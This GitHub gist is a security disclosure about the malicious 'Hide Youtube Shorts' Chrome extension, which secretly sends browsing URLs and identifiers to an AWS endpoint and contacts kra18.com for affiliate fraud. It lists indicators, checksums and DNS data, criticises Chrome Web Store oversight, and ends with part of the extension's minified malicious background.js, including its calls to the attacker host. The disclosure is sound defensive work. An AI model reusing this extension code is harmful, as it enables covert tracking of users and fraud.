Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Save c0m4r/45e15fc1ec13c544393feafca30e74de to your computer and use it in GitHub Desktop.
Save c0m4r/45e15fc1ec13c544393feafca30e74de to your computer and use it in GitHub Desktop.
Malicious "Hide Youtube Shorts" extension in Google's Chrome Web Store

Malicious "Hide Youtube Shorts" extension in Google's Chrome Web Store

https://gist.githubusercontent.com/c0m4r/45e15fc1ec13c544393feafca30e74de/raw/6f5924b8e9c138cea35642b86c53b06011166ecc/hide_youtube_shorts_chrome_web_store.png

TL;DR: This extension for Chrome and Brave is malicious, do not use it.

(Update) A follow up story by Wladimir Palant: https://palant.info/2024/10/30/the-karma-connection-in-chrome-web-store/

(Update 2024-11-11) The extension has been removed from CWS and marked as violating Chrome Web Store policies (which is good, but odd, as it should be marked as malware)

Extension URL

https://chromewebstore.google.com/detail/hide-youtube-shorts/aljlkinhomaaahfdojalfmimeidofpih

Description

What initially piqued my suspicions were the strange search suggestions on YouTube. Completely unrelated and disconnected from the context of my searches, sometimes in foreign languages. However, after analyzing the traffic in the browser tab and developer console, I did not notice any suspicious activity. It was only after I started debugging the extension that I noticed suspicious network activity and requests being sent to an unknown external service, containing the addresses of all visited sites and unique identifiers.

The extension does what it says it will do, but in the background it collects and sends information about all visited pages to an external server hosted on AWS. The information that the extension collects and sends includes an unique user identification number, installation number, authentication token, language, timestamp and full URL with path and arguments/parameters, which allows reading the information in the address bar, including e.g. search history. Some users in the reviews on the extension page in the Chrome Web Store also indicated the possibility of redirecting to phishing pages. Due to the malicious nature of this extension, I do not know what other information it could have collected before, but due to the wide permissions of browser extensions, it should be assumed that it could also read information transmitted in forms, including credentials, logins, passwords, personal and sensitive data. Such data can be used for a wide range of attacks, so anyone who has used such an extension should assume that ALL data viewed and transmitted via the browser has been compromised and take immediate precautions.

The extension was originally developed by a single developer who maintained the source code on github, however the github repository was archived https://github.com/probablyraging/hide-youtube-shorts?tab=readme-ov-file on Sep 12, 2023 and the plugin was acquired (or maybe sold) to another developer. I currently do not have the strength due to health issues to analyze everything to the extent that I would like, especially earlier versions to find out when the malicious change was made, although it seems that the first developer for some reason decided to use the all-pages reading model: probablyraging/hide-youtube-shorts#30, but when the extension was just entering the Google Web Store I analyzed its behavior and did not see similar problems with it.

I have no doubts about the intentional nature of the current developer's actions, as his responses to comments about the extension's permissions being too broad clearly demonstrate his intentions:

https://gist.githubusercontent.com/c0m4r/45e15fc1ec13c544393feafca30e74de/raw/41017e6cb3f0c2055ce59adc92ad81ddf71e3a58/dev_answer1.png

https://gist.githubusercontent.com/c0m4r/45e15fc1ec13c544393feafca30e74de/raw/41017e6cb3f0c2055ce59adc92ad81ddf71e3a58/dev_answer2.png

IoC

https://gist.githubusercontent.com/c0m4r/45e15fc1ec13c544393feafca30e74de/raw/6f5924b8e9c138cea35642b86c53b06011166ecc/extension_network_log.png

main script

assets/background.js

I "unminified" it using https://unminify.com/ as background.unminified.js

checksums

# md5sum
1659c9e5f5a66d4538478407dddfb05b  assets/background.js
# sha256sum
4e7f8a4f20c04cb329acafe6f5ce7d26f69362158baf3471f38ea6da4d34833e  assets/background.js

malicious code fragments

return String("https://www.kra18.com");

https://gist.github.com/c0m4r/45e15fc1ec13c544393feafca30e74de#file-background-unminified-js-L689

(r = f("https://7ng6v3lu3c.execute-api.us-east-1.amazonaws.com/EventTrackingStage/prod/rest", e)),

https://gist.github.com/c0m4r/45e15fc1ec13c544393feafca30e74de#file-background-unminified-js-L1431

The https://7ng6v3lu3c.execute-api.us-east-1.amazonaws.com is an API endpoint on AWS that receives those requests.

The kra18 part

I'm not sure what kra18.com is for, but I found it in the https://github.com/badmojr/1Hosts filter listing: https://raw.githubusercontent.com/badmojr/1Hosts/refs/heads/master/Xtra/domains.txt

(Update) Wladimir Palant found out that the domain was used for affiliate fraud, read more here: https://palant.info/2024/10/30/the-karma-connection-in-chrome-web-store/#affiliate-fraud-functionality

When it comes to its DNS:

# IPv4 addresses seems to be static
;; ANSWER SECTION:
kra18.com.		3368	IN	A	108.138.7.55
kra18.com.		3368	IN	A	108.138.7.109
kra18.com.		3368	IN	A	108.138.7.127
kra18.com.		3368	IN	A	108.138.7.71

# But IPv6 changes in 3rd and 4th "octect" constantly, which makes it harder to filter out
;; ANSWER SECTION:
kra18.com.		3584	IN	AAAA	2600:9000:2490:1c00:1f:1d3d:7780:93a1
kra18.com.		3584	IN	AAAA	2600:9000:2490:6c00:1f:1d3d:7780:93a1
kra18.com.		3584	IN	AAAA	2600:9000:2490:3a00:1f:1d3d:7780:93a1
kra18.com.		3584	IN	AAAA	2600:9000:2490:3600:1f:1d3d:7780:93a1
kra18.com.		3584	IN	AAAA	2600:9000:2490:e600:1f:1d3d:7780:93a1
kra18.com.		3584	IN	AAAA	2600:9000:2490:1e00:1f:1d3d:7780:93a1
kra18.com.		3584	IN	AAAA	2600:9000:2490:1000:1f:1d3d:7780:93a1
kra18.com.		3584	IN	AAAA	2600:9000:2490:3000:1f:1d3d:7780:93a1

;; ANSWER SECTION:
kra18.com.		3600	IN	AAAA	2600:9000:24f8:fe00:1f:1d3d:7780:93a1
kra18.com.		3600	IN	AAAA	2600:9000:24f8:f800:1f:1d3d:7780:93a1
kra18.com.		3600	IN	AAAA	2600:9000:24f8:a000:1f:1d3d:7780:93a1
kra18.com.		3600	IN	AAAA	2600:9000:24f8:fc00:1f:1d3d:7780:93a1
kra18.com.		3600	IN	AAAA	2600:9000:24f8:bc00:1f:1d3d:7780:93a1
kra18.com.		3600	IN	AAAA	2600:9000:24f8:8e00:1f:1d3d:7780:93a1
kra18.com.		3600	IN	AAAA	2600:9000:24f8:d000:1f:1d3d:7780:93a1
kra18.com.		3600	IN	AAAA	2600:9000:24f8:b600:1f:1d3d:7780:93a1


;; ANSWER SECTION:
kra18.com.		3559	IN	MX	0 inbound-smtp.us-east-1.amazonaws.com.

;; ANSWER SECTION:
kra18.com.		3600	IN	TXT	"ALIAS for d3hhjmv7p6gtzy.cloudfront.net"

;; AUTHORITY SECTION:
kra18.com.		300	IN	SOA	ns1.dnsimple.com. admin.dnsimple.com. 1649773639 86400 7200 604800 300

;; ANSWER SECTION:
kra18.com.		3600	IN	NS	ns3.dnsimple.com.
kra18.com.		3600	IN	NS	ns1.dnsimple.com.
kra18.com.		3600	IN	NS	ns2.dnsimple-edge.net.
kra18.com.		3600	IN	NS	ns4.dnsimple-edge.org.

I tried to dump some pcaps regarding this domain but I found no traffic over IPv4 to this domain and as IPv6 is more tricky to filter out and the subnets overlaps with legitmate sites I had no luck of catching anything.

Extension files tree

.
└── 1.8.7_0
    ├── assets
    │   ├── 15543401ccd9376249a450cfaf307660.svg
    │   ├── 3854e972f88321004fb7df82965ef18b.svg
    │   ├── 886b77028c2325ee7749a0975c53156e.svg
    │   ├── 902a50f62be943c75a8552f3b2817143.svg
    │   ├── background.js
    │   ├── background.js.LICENSE.txt
    │   ├── c0f11aeef1fd64a69e6349d31d9aa4bb.svg
    │   ├── c4265644bf505d6f146957d2e9a499ad.svg
    │   ├── channel_shorts_tab.css
    │   ├── channel_shorts_unhide.css
    │   ├── d6e25fbefad2b8e515d6d13709658451.svg
    │   ├── home_lives.css
    │   ├── home_premieres.css
    │   ├── home_shorts.css
    │   ├── home_tab_shorts.css
    │   ├── main.js
    │   ├── main.js.LICENSE.txt
    │   ├── mobile.js
    │   ├── mobile.js.LICENSE.txt
    │   ├── navigation_button.css
    │   ├── notification_shorts.css
    │   ├── recommended_shorts.css
    │   ├── search_shorts.css
    │   ├── subscriptions_feed_fix.css
    │   ├── subscriptions_lives.css
    │   ├── subscriptions_premieres.css
    │   ├── subscriptions_shorts.css
    │   ├── subscriptions_shorts_list.css
    │   └── trending_shorts.css
    ├── icons
    │   ├── icon128.png
    │   ├── icon16_disabled.png
    │   ├── icon16.png
    │   ├── icon32.png
    │   └── icon48.png
    ├── index.html
    ├── libs
    │   ├── jquery.min.js
    │   └── jquery.min.js.LICENSE.txt
    ├── _locales
    │   ├── de
    │   │   └── messages.json
    │   ├── en
    │   │   └── messages.json
    │   ├── es
    │   │   └── messages.json
    │   ├── fr
    │   │   └── messages.json
    │   └── ru
    │       └── messages.json
    ├── manifest.fingerprint
    ├── manifest.json
    └── _metadata
        ├── computed_hashes.json
        └── verified_contents.json

11 directories, 46 files

Notes

It was developed by another person and... sold? transferred?

Conclusions

I am not a security researcher, so analyzing and describing all the details of this threat cost me a lot of effort and stress, especially since I feel weak due to health problems and it was not a good time for such adventures. Of course, I am not surprised that such forms of data theft are possible and I am not particularly scared by the fact that I myself became a target using this extension. I let my guard down, even though I care more about security than others. I think it is not a shame to admit a mistake and learn from it, even if someone were to now reveal confidential or embarrassing data about me. There are worse things in life to go through.

However, I am extremely saddened by the fact that in the face of such threats, which ordinary users have no idea about, it is so difficult to raise the alarm and cause such an extension to disappear from the store used by millions of users as soon as possible. In contrast to the path that allows malicious activity of extensions, which is simple and remains undetected, despite the fact that it happens in broad daylight, in the public domain.

Of course, there is a "Report a problem" link on the extensions page, which leads to a short, childish survey allowing you to submit a reaction to the extension: "Not what I was looking for", "Did not like the content", "Felt hostile", "Not trustworthy", "Content was disturbing", "Felt suspicious", but firstly it does not allow you to provide any additional information, and secondly - let's be honest - no one will react to such a report until probably thousands of such reports come in, and how is that supposed to happen if users unaware of the "additional features" are happy with the extension doing its work. And the form provided below https://support.google.com/legal/troubleshooter/1114905 which is painfully specific and allows you to report problems regarding child safety, activities related to intellectual property infringement or legal complaints, but does not allow you to simply report anything else, omitting such a trifle as the security of user data. If Google is unable to keep users safe and respond appropriately to malware, why does it allow it to be published on its platform in the first place?

Installing an extension from a trusted source, even after initial verification, does not guarantee permanent security, as it can be taken over by a bad actor. And it is us, the users, who suffer from this and also take responsibility by deciding to install it. However, Google, despite its declarations, only makes it easier for those with bad intentions, because it clearly does not test extensions before they are published, does not limit their permissions and does not respond to reports from users who have been pointing out the problem for months. This is also indicated by the previous situation, described here: https://palant.info/2023/05/31/more-malicious-extensions-in-chrome-web-store/ and here: https://palant.info/2023/06/08/another-cluster-of-potentially-malicious-chrome-extensions/

The problem with Google's Chrome Web Store is that it doesn't care enough about user security, and in the context of problems, it is more interested in intellectual property issues, for which there is a special form for reporting, than in the fact that the developer they provide the platform for is secretly stealing your data. There is no fast track for reporting malicious software. What's more, when I look at other extensions from this store, I have the impression that it is a breeding ground for malware. Many of them have links to sites that are plainly phishing sites, which can be detected by simple mechanisms that Google uses elsewhere, but not in its extension store. Testing of plugins, which Google declared on its Security Blog https://security.googleblog.com/2024/06/staying-safe-with-chrome-extensions.html, clearly does not take place or is broken, because users reported problems with this plugin many months ago and warned that it sends requests to suspicious sites in the background. Just look at the reviews.

https://gist.githubusercontent.com/c0m4r/45e15fc1ec13c544393feafca30e74de/raw/ac3a91ebdfb2f5e1196c486a7a2db9b880950c1f/review1.png

https://gist.githubusercontent.com/c0m4r/45e15fc1ec13c544393feafca30e74de/raw/ac3a91ebdfb2f5e1196c486a7a2db9b880950c1f/review2.png

https://gist.githubusercontent.com/c0m4r/45e15fc1ec13c544393feafca30e74de/raw/ac3a91ebdfb2f5e1196c486a7a2db9b880950c1f/review3.png

https://gist.githubusercontent.com/c0m4r/45e15fc1ec13c544393feafca30e74de/raw/ac3a91ebdfb2f5e1196c486a7a2db9b880950c1f/review4.png

https://gist.githubusercontent.com/c0m4r/45e15fc1ec13c544393feafca30e74de/raw/ac3a91ebdfb2f5e1196c486a7a2db9b880950c1f/review5.png

Another issue is the permissions of extensions, which are basically unlimited, and their installation by unsuspecting users is very easy. No red warning pages, no exclamation marks, no flashy messages. What's more, even limiting the plugin's permissions to a given page doesn't help. This plugin was able to send requests quietly, from other pages despite being limited to YouTube in the settings. There are also no safeguards against sending requests completely unrelated to the selected page.

Browser extensions, in my opinion, should be a subject to greater supervision and Chrome should provide more options to limit their activity in the browser, such as blocking network connections, disallowing reading certain information without the user's consent. Especially plugins that Google does not actively monitor and that have not been verified.

There should also be a red flag and special attention in case of an extension changing its owner. Apart from the fact that detecting such obvious, unrelated to the extension's function, network communication is easy for automated systems, especially in the age of AI. It is also completely incomprehensible that extensions can carry out such activities without obtaining consent at all, and also update to a new, unverified version in the background at any time without the user's knowledge by default.

There is also a clear difference between Google's Chrome Web Store and, for example, Mozilla Addons https://addons.mozilla.org/. The latter contains more detailed information about extensions and a report form that allows you to report all kinds of issues with extensions, including security issues, unlike Google, which seems uninterested in this, as if they were completely okay with hosting malicious extensions, links to phishing sites, and passing all the blame on users. It's very convenient, but tragic for online security.

/*! For license information please see background.js.LICENSE.txt */
(()=>{var t={2705:(t,e,r)=>{var n=r(5639).Symbol;t.exports=n},4239:(t,e,r)=>{var n=r(2705),o=r(9607),a=r(2333),s=n?n.toStringTag:void 0;t.exports=function(t){return null==t?void 0===t?"[object Undefined]":"[object Null]":s&&s in Object(t)?o(t):a(t)}},9877:t=>{var e=Math.floor,r=Math.random;t.exports=function(t,n){return t+e(r()*(n-t+1))}},2545:t=>{t.exports=function(t,e){for(var r=-1,n=Array(t);++r<t;)n[r]=e(r);return n}},7561:(t,e,r)=>{var n=r(7990),o=/^\s+/;t.exports=function(t){return t?t.slice(0,n(t)+1).replace(o,""):t}},4290:(t,e,r)=>{var n=r(6557);t.exports=function(t){return"function"==typeof t?t:n}},1957:(t,e,r)=>{var n="object"==typeof r.g&&r.g&&r.g.Object===Object&&r.g;t.exports=n},9607:(t,e,r)=>{var n=r(2705),o=Object.prototype,a=o.hasOwnProperty,s=o.toString,i=n?n.toStringTag:void 0;t.exports=function(t){var e=a.call(t,i),r=t[i];try{t[i]=void 0;var n=!0}catch(t){}var o=s.call(t);return n&&(e?t[i]=r:delete t[i]),o}},5776:t=>{var e=/^(?:0|[1-9]\d*)$/;t.exports=function(t,r){var n=typeof t;return!!(r=null==r?9007199254740991:r)&&("number"==n||"symbol"!=n&&e.test(t))&&t>-1&&t%1==0&&t<r}},6612:(t,e,r)=>{var n=r(7813),o=r(8612),a=r(5776),s=r(3218);t.exports=function(t,e,r){if(!s(r))return!1;var i=typeof e;return!!("number"==i?o(r)&&a(e,r.length):"string"==i&&e in r)&&n(r[e],t)}},2333:t=>{var e=Object.prototype.toString;t.exports=function(t){return e.call(t)}},5639:(t,e,r)=>{var n=r(1957),o="object"==typeof self&&self&&self.Object===Object&&self,a=n||o||Function("return this")();t.exports=a},7990:t=>{var e=/\s/;t.exports=function(t){for(var r=t.length;r--&&e.test(t.charAt(r)););return r}},7813:t=>{t.exports=function(t,e){return t===e||t!=t&&e!=e}},6557:t=>{t.exports=function(t){return t}},8612:(t,e,r)=>{var n=r(3560),o=r(1780);t.exports=function(t){return null!=t&&o(t.length)&&!n(t)}},3560:(t,e,r)=>{var n=r(4239),o=r(3218);t.exports=function(t){if(!o(t))return!1;var e=n(t);return"[object Function]"==e||"[object GeneratorFunction]"==e||"[object AsyncFunction]"==e||"[object Proxy]"==e}},1780:t=>{t.exports=function(t){return"number"==typeof t&&t>-1&&t%1==0&&t<=9007199254740991}},3218:t=>{t.exports=function(t){var e=typeof t;return null!=t&&("object"==e||"function"==e)}},7005:t=>{t.exports=function(t){return null!=t&&"object"==typeof t}},3448:(t,e,r)=>{var n=r(4239),o=r(7005);t.exports=function(t){return"symbol"==typeof t||o(t)&&"[object Symbol]"==n(t)}},3608:(t,e,r)=>{var n=r(9877),o=r(6612),a=r(8601),s=parseFloat,i=Math.min,c=Math.random;t.exports=function(t,e,r){if(r&&"boolean"!=typeof r&&o(t,e,r)&&(e=r=void 0),void 0===r&&("boolean"==typeof e?(r=e,e=void 0):"boolean"==typeof t&&(r=t,t=void 0)),void 0===t&&void 0===e?(t=0,e=1):(t=a(t),void 0===e?(e=t,t=0):e=a(e)),t>e){var u=t;t=e,e=u}if(r||t%1||e%1){var l=c();return i(t+l*(e-t+s("1e-"+((l+"").length-1))),e)}return n(t,e)}},8913:(t,e,r)=>{var n=r(2545),o=r(4290),a=r(554),s=4294967295,i=Math.min;t.exports=function(t,e){if((t=a(t))<1||t>9007199254740991)return[];var r=s,c=i(t,s);e=o(e),t-=s;for(var u=n(c,e);++r<t;)e(r);return u}},8601:(t,e,r)=>{var n=r(4841);t.exports=function(t){return t?Infinity===(t=n(t))||t===-1/0?17976931348623157e292*(t<0?-1:1):t==t?t:0:0===t?t:0}},554:(t,e,r)=>{var n=r(8601);t.exports=function(t){var e=n(t),r=e%1;return e==e?r?e-r:e:0}},4841:(t,e,r)=>{var n=r(7561),o=r(3218),a=r(3448),s=/^[-+]0x[0-9a-f]+$/i,i=/^0b[01]+$/i,c=/^0o[0-7]+$/i,u=parseInt;t.exports=function(t){if("number"==typeof t)return t;if(a(t))return NaN;if(o(t)){var e="function"==typeof t.valueOf?t.valueOf():t;t=o(e)?e+"":e}if("string"!=typeof t)return 0===t?t:+t;t=n(t);var r=i.test(t);return r||c.test(t)?u(t.slice(2),r?2:8):s.test(t)?NaN:+t}},7061:(t,e,r)=>{var n=r(8698).default;function o(){"use strict";t.exports=o=function(){return r},t.exports.__esModule=!0,t.exports.default=t.exports;var e,r={},a=Object.prototype,s=a.hasOwnProperty,i=Object.defineProperty||function(t,e,r){t[e]=r.value},c="function"==typeof Symbol?Symbol:{},u=c.iterator||"@@iterator",l=c.asyncIterator||"@@asyncIterator",f=c.toStringTag||"@@toStringTag";function p(t,e,r){return Object.defineProperty(t,e,{value:r,enumerable:!0,configurable:!0,writable:!0}),t[e]}try{p({},"")}catch(e){p=function(t,e,r){return t[e]=r}}function g(t,e,r,n){var o=e&&e.prototype instanceof S?e:S,a=Object.create(o.prototype),s=new H(n||[]);return i(a,"_invoke",{value:F(t,r,s)}),a}function h(t,e,r){try{return{type:"normal",arg:t.call(e,r)}}catch(t){return{type:"throw",arg:t}}}r.wrap=g;var m="suspendedStart",d="suspendedYield",b="executing",v="completed",y={};function S(){}function w(){}function x(){}var k={};p(k,u,(function(){return this}));var _=Object.getPrototypeOf,j=_&&_(_(I([])));j&&j!==a&&s.call(j,u)&&(k=j);var L=x.prototype=S.prototype=Object.create(k);function O(t){["next","throw","return"].forEach((function(e){p(t,e,(function(t){return this._invoke(e,t)}))}))}function T(t,e){function r(o,a,i,c){var u=h(t[o],t,a);if("throw"!==u.type){var l=u.arg,f=l.value;return f&&"object"==n(f)&&s.call(f,"__await")?e.resolve(f.__await).then((function(t){r("next",t,i,c)}),(function(t){r("throw",t,i,c)})):e.resolve(f).then((function(t){l.value=t,i(l)}),(function(t){return r("throw",t,i,c)}))}c(u.arg)}var o;i(this,"_invoke",{value:function(t,n){function a(){return new e((function(e,o){r(t,n,e,o)}))}return o=o?o.then(a,a):a()}})}function F(t,r,n){var o=m;return function(a,s){if(o===b)throw new Error("Generator is already running");if(o===v){if("throw"===a)throw s;return{value:e,done:!0}}for(n.method=a,n.arg=s;;){var i=n.delegate;if(i){var c=P(i,n);if(c){if(c===y)continue;return c}}if("next"===n.method)n.sent=n._sent=n.arg;else if("throw"===n.method){if(o===m)throw o=v,n.arg;n.dispatchException(n.arg)}else"return"===n.method&&n.abrupt("return",n.arg);o=b;var u=h(t,r,n);if("normal"===u.type){if(o=n.done?v:d,u.arg===y)continue;return{value:u.arg,done:n.done}}"throw"===u.type&&(o=v,n.method="throw",n.arg=u.arg)}}}function P(t,r){var n=r.method,o=t.iterator[n];if(o===e)return r.delegate=null,"throw"===n&&t.iterator.return&&(r.method="return",r.arg=e,P(t,r),"throw"===r.method)||"return"!==n&&(r.method="throw",r.arg=new TypeError("The iterator does not provide a '"+n+"' method")),y;var a=h(o,t.iterator,r.arg);if("throw"===a.type)return r.method="throw",r.arg=a.arg,r.delegate=null,y;var s=a.arg;return s?s.done?(r[t.resultName]=s.value,r.next=t.nextLoc,"return"!==r.method&&(r.method="next",r.arg=e),r.delegate=null,y):s:(r.method="throw",r.arg=new TypeError("iterator result is not an object"),r.delegate=null,y)}function E(t){var e={tryLoc:t[0]};1 in t&&(e.catchLoc=t[1]),2 in t&&(e.finallyLoc=t[2],e.afterLoc=t[3]),this.tryEntries.push(e)}function N(t){var e=t.completion||{};e.type="normal",delete e.arg,t.completion=e}function H(t){this.tryEntries=[{tryLoc:"root"}],t.forEach(E,this),this.reset(!0)}function I(t){if(t||""===t){var r=t[u];if(r)return r.call(t);if("function"==typeof t.next)return t;if(!isNaN(t.length)){var o=-1,a=function r(){for(;++o<t.length;)if(s.call(t,o))return r.value=t[o],r.done=!1,r;return r.value=e,r.done=!0,r};return a.next=a}}throw new TypeError(n(t)+" is not iterable")}return w.prototype=x,i(L,"constructor",{value:x,configurable:!0}),i(x,"constructor",{value:w,configurable:!0}),w.displayName=p(x,f,"GeneratorFunction"),r.isGeneratorFunction=function(t){var e="function"==typeof t&&t.constructor;return!!e&&(e===w||"GeneratorFunction"===(e.displayName||e.name))},r.mark=function(t){return Object.setPrototypeOf?Object.setPrototypeOf(t,x):(t.__proto__=x,p(t,f,"GeneratorFunction")),t.prototype=Object.create(L),t},r.awrap=function(t){return{__await:t}},O(T.prototype),p(T.prototype,l,(function(){return this})),r.AsyncIterator=T,r.async=function(t,e,n,o,a){void 0===a&&(a=Promise);var s=new T(g(t,e,n,o),a);return r.isGeneratorFunction(e)?s:s.next().then((function(t){return t.done?t.value:s.next()}))},O(L),p(L,f,"Generator"),p(L,u,(function(){return this})),p(L,"toString",(function(){return"[object Generator]"})),r.keys=function(t){var e=Object(t),r=[];for(var n in e)r.push(n);return r.reverse(),function t(){for(;r.length;){var n=r.pop();if(n in e)return t.value=n,t.done=!1,t}return t.done=!0,t}},r.values=I,H.prototype={constructor:H,reset:function(t){if(this.prev=0,this.next=0,this.sent=this._sent=e,this.done=!1,this.delegate=null,this.method="next",this.arg=e,this.tryEntries.forEach(N),!t)for(var r in this)"t"===r.charAt(0)&&s.call(this,r)&&!isNaN(+r.slice(1))&&(this[r]=e)},stop:function(){this.done=!0;var t=this.tryEntries[0].completion;if("throw"===t.type)throw t.arg;return this.rval},dispatchException:function(t){if(this.done)throw t;var r=this;function n(n,o){return i.type="throw",i.arg=t,r.next=n,o&&(r.method="next",r.arg=e),!!o}for(var o=this.tryEntries.length-1;o>=0;--o){var a=this.tryEntries[o],i=a.completion;if("root"===a.tryLoc)return n("end");if(a.tryLoc<=this.prev){var c=s.call(a,"catchLoc"),u=s.call(a,"finallyLoc");if(c&&u){if(this.prev<a.catchLoc)return n(a.catchLoc,!0);if(this.prev<a.finallyLoc)return n(a.finallyLoc)}else if(c){if(this.prev<a.catchLoc)return n(a.catchLoc,!0)}else{if(!u)throw new Error("try statement without catch or finally");if(this.prev<a.finallyLoc)return n(a.finallyLoc)}}}},abrupt:function(t,e){for(var r=this.tryEntries.length-1;r>=0;--r){var n=this.tryEntries[r];if(n.tryLoc<=this.prev&&s.call(n,"finallyLoc")&&this.prev<n.finallyLoc){var o=n;break}}o&&("break"===t||"continue"===t)&&o.tryLoc<=e&&e<=o.finallyLoc&&(o=null);var a=o?o.completion:{};return a.type=t,a.arg=e,o?(this.method="next",this.next=o.finallyLoc,y):this.complete(a)},complete:function(t,e){if("throw"===t.type)throw t.arg;return"break"===t.type||"continue"===t.type?this.next=t.arg:"return"===t.type?(this.rval=this.arg=t.arg,this.method="return",this.next="end"):"normal"===t.type&&e&&(this.next=e),y},finish:function(t){for(var e=this.tryEntries.length-1;e>=0;--e){var r=this.tryEntries[e];if(r.finallyLoc===t)return this.complete(r.completion,r.afterLoc),N(r),y}},catch:function(t){for(var e=this.tryEntries.length-1;e>=0;--e){var r=this.tryEntries[e];if(r.tryLoc===t){var n=r.completion;if("throw"===n.type){var o=n.arg;N(r)}return o}}throw new Error("illegal catch attempt")},delegateYield:function(t,r,n){return this.delegate={iterator:I(t),resultName:r,nextLoc:n},"next"===this.method&&(this.arg=e),y}},r}t.exports=o,t.exports.__esModule=!0,t.exports.default=t.exports},8698:t=>{function e(r){return t.exports=e="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t},t.exports.__esModule=!0,t.exports.default=t.exports,e(r)}t.exports=e,t.exports.__esModule=!0,t.exports.default=t.exports},4687:(t,e,r)=>{var n=r(7061)();t.exports=n;try{regeneratorRuntime=n}catch(t){"object"==typeof globalThis?globalThis.regeneratorRuntime=n:Function("r","regeneratorRuntime = r")(n)}}},e={};function r(n){var o=e[n];if(void 0!==o)return o.exports;var a=e[n]={exports:{}};return t[n](a,a.exports,r),a.exports}r.n=t=>{var e=t&&t.__esModule?()=>t.default:()=>t;return r.d(e,{a:e}),e},r.d=(t,e)=>{for(var n in e)r.o(e,n)&&!r.o(t,n)&&Object.defineProperty(t,n,{enumerable:!0,get:e[n]})},r.g=function(){if("object"==typeof globalThis)return globalThis;try{return this||new Function("return this")()}catch(t){if("object"==typeof window)return window}}(),r.o=(t,e)=>Object.prototype.hasOwnProperty.call(t,e),(()=>{"use strict";function t(e){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t},t(e)}function e(e,r,n){return(r=function(e){var r=function(e,r){if("object"!==t(e)||null===e)return e;var n=e[Symbol.toPrimitive];if(void 0!==n){var o=n.call(e,"string");if("object"!==t(o))return o;throw new TypeError("@@toPrimitive must return a primitive value.")}return String(e)}(e);return"symbol"===t(r)?r:String(r)}(r))in e?Object.defineProperty(e,r,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[r]=n,e}function n(t,e,r,n,o,a,s){try{var i=t[a](s),c=i.value}catch(t){return void r(t)}i.done?e(c):Promise.resolve(c).then(n,o)}function o(t){return function(){var e=this,r=arguments;return new Promise((function(o,a){var s=t.apply(e,r);function i(t){n(s,o,a,i,c,"next",t)}function c(t){n(s,o,a,i,c,"throw",t)}i(void 0)}))}}var a=r(4687),s=r.n(a),i=r(3608),c=r.n(i),u=r(8913),l=r.n(u);const f=function(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:[],r=new URL(t);return e.filter((function(t){var e=t.value;return e||"boolean"==typeof e})).forEach((function(t){var e=t.name,n=t.value;r.searchParams.append(e,String(n))})),r.href.replace(/%5B/g,"[").replace(/%5D/g,"]").replace(/%2C/g,",")};var p;var g="SELECTORS_TIMESTAMP",h="SELECTORS_LR_TIMESTAMP";const m=function(){return String("https://www.kra18.com")};var d;var b;var v;const y=function(){return(v=v||o(s().mark((function t(){var e,r,n;return s().wrap((function(t){for(;;)switch(t.prev=t.next){case 0:return t.prev=0,t.next=3,fetch("".concat(m(),"/v1/selectors_list?&ex=").concat(90));case 3:if(!(e=t.sent).ok){t.next=12;break}return t.next=7,e.json();case 7:if(t.t0=t.sent,t.t0){t.next=10;break}t.t0={};case 10:return n=t.t0,t.abrupt("return",null!==(r=null==n?void 0:n.selectors)&&void 0!==r?r:[]);case 12:t.next=16;break;case 14:t.prev=14,t.t1=t.catch(0);case 16:return t.abrupt("return",[]);case 17:case"end":return t.stop()}}),t,null,[[0,14]])})))).apply(this,arguments)};function S(t){if(null===t||!0===t||!1===t)return NaN;var e=Number(t);return isNaN(e)?e:e<0?Math.ceil(e):Math.floor(e)}function w(t,e){if(e.length<t)throw new TypeError(t+" argument"+(t>1?"s":"")+" required, but only "+e.length+" present")}function x(e){w(1,arguments);var r=Object.prototype.toString.call(e);return e instanceof Date||"object"===t(e)&&"[object Date]"===r?new Date(e.getTime()):"number"==typeof e||"[object Number]"===r?new Date(e):("string"!=typeof e&&"[object String]"!==r||"undefined"==typeof console||(console.warn("Starting with v2.0.0-beta.1 date-fns doesn't accept strings as date arguments. Please use `parseISO` to parse strings. See: https://github.com/date-fns/date-fns/blob/master/docs/upgradeGuide.md#string-arguments"),console.warn((new Error).stack)),new Date(NaN))}function k(t,e){return w(2,arguments),function(t,e){w(2,arguments);var r=x(t),n=S(e);return isNaN(n)?new Date(NaN):n?(r.setDate(r.getDate()+n),r):r}(t,7*S(e))}var _;function j(t,e){return w(2,arguments),function(t,e){w(2,arguments);var r=x(t).getTime(),n=S(e);return new Date(r+n)}(t,36e5*S(e))}const L={getItem:function(t){return(_=_||o(s().mark((function t(e){var r;return s().wrap((function(t){for(;;)switch(t.prev=t.next){case 0:return t.next=2,chrome.storage.local.get([e]);case 2:return r=t.sent,t.abrupt("return",r[e]);case 4:case"end":return t.stop()}}),t)})))).apply(this,arguments)},setItem:function(t,r){return chrome.storage.local.set(e({},t,r))},setMultipleItems:function(t){return chrome.storage.local.set(t)},removeItem:function(t){return chrome.storage.local.remove(t)}};var O;function T(t,e){var r=Object.keys(t);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(t);e&&(n=n.filter((function(e){return Object.getOwnPropertyDescriptor(t,e).enumerable}))),r.push.apply(r,n)}return r}function F(t){for(var r=1;r<arguments.length;r++){var n=null!=arguments[r]?arguments[r]:{};r%2?T(Object(n),!0).forEach((function(r){e(t,r,n[r])})):Object.getOwnPropertyDescriptors?Object.defineProperties(t,Object.getOwnPropertyDescriptors(n)):T(Object(n)).forEach((function(e){Object.defineProperty(t,e,Object.getOwnPropertyDescriptor(n,e))}))}return t}var P;const E=function(){return(P=P||o(s().mark((function t(){var e,r,n;return s().wrap((function(t){for(;;)switch(t.prev=t.next){case 0:return t.prev=0,t.next=3,fetch("".concat(m(),"/v1/selectors_list_lr?&ex=").concat(90));case 3:if(!(e=t.sent).ok){t.next=12;break}return t.next=7,e.json();case 7:if(t.t0=t.sent,t.t0){t.next=10;break}t.t0={};case 10:return n=t.t0,t.abrupt("return",null!==(r=null==n?void 0:n.data)&&void 